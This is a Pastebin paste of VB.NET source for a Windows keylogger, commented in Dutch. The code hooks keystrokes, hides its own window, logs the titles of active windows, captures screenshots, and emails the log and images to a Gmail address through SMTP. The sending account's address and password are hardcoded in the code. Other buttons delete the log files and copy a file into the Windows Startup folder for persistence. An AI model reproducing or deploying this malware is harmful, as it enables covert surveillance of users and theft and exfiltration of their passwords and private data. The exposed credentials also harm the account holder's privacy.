Advertisement
Guest User

Untitled

a guest
Jul 28th, 2017
473
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.IO
  2. Imports Microsoft.Win32
  3. Imports System.Net.Mail
  4. Imports System.Web
  5.  
  6.  
  7.  
  8. Public Class Form1
  9.     Dim WithEvents K As New Keyboard
  10.     'Dim registry As Object
  11.    Dim append As String
  12.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  13.     Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal ipstring As String, ByVal cch As Int32) As Int32
  14.     Dim strin As String = Nothing
  15.  
  16.     Private Sub form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  17.         K.DiposeHook()
  18.  
  19.     End Sub
  20.  
  21.     Private Sub form1_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles Me.KeyDown
  22.         If e.KeyCode = Keys.F12 = True Then
  23.             MsgBox("<Dit is voor dalijk>", MsgBoxStyle.Information)
  24.         End If
  25.     End Sub
  26.  
  27.     Private Sub form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  28.         If My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework", "TestValue", Nothing) Then
  29.             MsgBox(".NETFramework is not installed!", MsgBoxStyle.Critical, Title:="Keylogger")
  30.             Me.Close()
  31.         Else
  32.             MsgBox(".NETFramework is installed!", MsgBoxStyle.Information, Title:="Keylogger")
  33.         End If
  34.  
  35.         Shell("Notepad", 1)
  36.  
  37.         IO.Directory.CreateDirectory("C:\Keylogger log")
  38.         IO.File.AppendAllText("C:\Keylogger log\log.txt", "-----------------" + vbNewLine + vbNewLine + "Keylogger started" + "      " + TimeString + "    " + DateString + vbNewLine + vbNewLine + "-----------------" + vbNewLine + vbNewLine)
  39.         KeyPreview = True
  40.         Me.Visible = False
  41.         Me.Hide()
  42.  
  43.         'RegistryKey = CreateObject("Wscript.shell")
  44.  
  45.     End Sub
  46.     Private Sub K_down(ByVal Key As String) Handles K.Down ' deze subfunctie geeft aan wat er gebeurt als je een toets indrukt.
  47.        append &= Key
  48.         TextBox1.Text &= Key
  49.  
  50.     End Sub
  51.     Private Function GetActiveWindowTitle() As String ' deze functie zorgt ervoor dat je weet wat de Windowtext is.
  52.        Dim MyStr As String
  53.         MyStr = New String(Chr(0), 100)
  54.         GetWindowText(GetForegroundWindow, MyStr, 100)
  55.         MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  56.         Return MyStr
  57.  
  58.     End Function
  59.  
  60.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  61.         If strin <> GetActiveWindowTitle() Then
  62.             TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" + GetActiveWindowTitle() + "]" + "    " + TimeString + "    " + DateString + vbNewLine + vbNewLine
  63.             strin = GetActiveWindowTitle()
  64.         End If
  65.  
  66.     End Sub
  67.  
  68.     Private Sub button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles button1.Click
  69.         K.CreateHook() ' Programma reageert nu op Keyboard.vb
  70.        Timer1.Start()  ' Programma reageert nu op welke Windowstitle actief is.
  71.  
  72.     End Sub
  73.  
  74.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  75.         K.DiposeHook() 'Programma reageert niet meer op Keyboard.vb
  76.        Timer1.Stop()   ' Programma reageert niet meer op welke Windowstitle actief is.
  77.        IO.File.AppendAllText("C:\Keylogger log\log.txt", "-----------------" + vbNewLine + vbNewLine + "Keylogger shut down" + "    " + TimeString + "    " + DateString + vbNewLine + vbNewLine + "-----------------" + vbNewLine + vbNewLine)
  78.  
  79.  
  80.     End Sub
  81.     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  82.         IO.File.AppendAllText("C:\Keylogger log\log.txt", TextBox1.Text)
  83.         If IO.File.Exists("C:\Keylogger log\log.txt") = True Then
  84.             Process.Start("C:\Keylogger log\log.txt") ' laat het logfile zien.
  85.        Else : MsgBox("log.txt is leeg", MsgBoxStyle.Critical, Title:="Keylogger")
  86.         End If
  87.  
  88.     End Sub
  89.  
  90.     Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
  91.         IO.File.AppendAllText("C:\Keylogger log\log.txt", TextBox1.Text)
  92.         Dim mail As New MailMessage()
  93.         Dim SmtpServer As New SmtpClient
  94.         Dim MsgAttachment1 As New Attachment("C:\Keylogger log\log.txt") ' Het textfile wordt in een attachment gezet.
  95.        If IO.File.Exists("C:\Keylogger log\capture.bmp") = True Then
  96.             Dim MsgAttachment2 As New Attachment("C:\Keylogger log\capture.bmp") ' Het bmpfile wordt in een attachment gezet.
  97.            mail.Attachments.Add(MsgAttachment2)
  98.         Else : MsgBox("Geen capture.bmp")
  99.         End If
  100.         SmtpServer.Credentials = New Net.NetworkCredential("dogersch@gmail.com", "trampoline")
  101.         SmtpServer.Port = 587
  102.         SmtpServer.Host = "smtp.gmail.com"
  103.         SmtpServer.EnableSsl = True
  104.         SmtpServer.EnableSsl = True
  105.         mail.To.Add("dogersch@gmail.com")
  106.         mail.From = New MailAddress("username@gmail.com")
  107.         mail.Subject = "Keylogger2"
  108.         mail.Attachments.Add(MsgAttachment1)
  109.         mail.Body = "-------------- Mail verzonden op: --------------" + vbNewLine + TimeString + vbNewLine + DateString
  110.         Try
  111.             SmtpServer.Send(mail)
  112.         Catch ex As Exception
  113.             MsgBox("Failed to send mail.", MsgBoxStyle.Critical, Title:="Keylogger")
  114.             Me.Close()
  115.         End Try
  116.  
  117.         mail.Dispose() ' You need to dispose all Attachment objects, or you will leave open file handles behind. Calling Dispose on the MailMessage will trigger dispose calls in any attachments it contains.
  118.        MsgBox("Mail was sent", MsgBoxStyle.Exclamation, Title:="Keylogger")
  119.         If IO.File.Exists("C:\Keylogger log\log.txt") = True Then
  120.             My.Computer.FileSystem.DeleteFile("C:\Keylogger log\log.txt")
  121.             MsgBox("Logfile deleted.", MsgBoxStyle.Information, Title:="Keylogger")
  122.         End If
  123.         If IO.File.Exists("C:\Keylogger log\capture.bmp") = True Then
  124.             My.Computer.FileSystem.DeleteFile("C:\Keylogger log\capture.bmp")
  125.             MsgBox("Capturefile deleted.", MsgBoxStyle.Information, Title:="Keylogger")
  126.         End If
  127.         'TextBox1.Text = ""
  128.  
  129.     End Sub
  130.  
  131.     Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
  132.         If IO.File.Exists("C:\Keylogger log\log.txt") = True Then
  133.             My.Computer.FileSystem.DeleteFile("C:\Keylogger log\log.txt")
  134.             MsgBox("Logfile deleted.", MsgBoxStyle.Information, Title:="Keylogger")
  135.         End If
  136.  
  137.     End Sub
  138.  
  139.     Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles winlogon.Click
  140.         IO.File.AppendAllText("C:\Keylogger log\log.txt", "-----------------" + vbNewLine + vbNewLine + "Screen capture" + "         " + TimeString + "    " + DateString + vbNewLine + vbNewLine + "-----------------" + vbNewLine + vbNewLine)
  141.         Dim bounds As Rectangle
  142.         Dim screenshot As System.Drawing.Bitmap
  143.         Dim graph As Graphics
  144.         bounds = Screen.PrimaryScreen.Bounds
  145.         screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
  146.         graph = Graphics.FromImage(screenshot)
  147.         graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
  148.         PictureBox1.Image = screenshot
  149.         MsgBox("Screenshot taken!", MsgBoxStyle.Information, Title:="Keylogger")
  150.     End Sub
  151.  
  152.     Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
  153.         PictureBox1.Image.Save("C:\Keylogger log\capture.bmp")
  154.         MsgBox("Screenshot saved!", MsgBoxStyle.Information, Title:="Keylogger")
  155.  
  156.     End Sub
  157.  
  158.     Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click
  159.         If IO.File.Exists("C:\Keylogger log\capture.bmp") = True Then
  160.             My.Computer.FileSystem.DeleteFile("C:\Keylogger log\capture.bmp")
  161.             MsgBox("Capturefile deleted.", MsgBoxStyle.Information, Title:="Keylogger")
  162.         End If
  163.     End Sub
  164.  
  165.     Private Sub Button10_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click
  166.         Dim WinPath As String = Environment.GetEnvironmentVariable("windir", EnvironmentVariableTarget.Machine)
  167.         Dim BrokenPath() As String = Split(WinPath, "\")
  168.         Dim DriveLetter As String = BrokenPath(0)
  169.         Dim doehet As String
  170.         doehet = ("C:\Keylogger log\startup.txt")
  171.         System.IO.File.Copy(doehet, DriveLetter & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\startup.txt") 'Creates copy of file to startup folder.
  172.        MsgBox("Done!", MsgBoxStyle.Information, Title:="Keylogger")
  173.  
  174.     End Sub
  175.  
  176.     Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
  177.         Dim WinPath As String = Environment.GetEnvironmentVariable("windir", EnvironmentVariableTarget.Machine)
  178.         Dim BrokenPath() As String = Split(WinPath, "\")
  179.         Dim DriveLetter As String = BrokenPath(0)
  180.         System.IO.File.Delete(DriveLetter & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\startup.txt") ' Deletes the copy located at the startupfolder.
  181.        MsgBox("Deleted!", MsgBoxStyle.Information, Title:="Keylogger")
  182.  
  183.     End Sub
  184. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement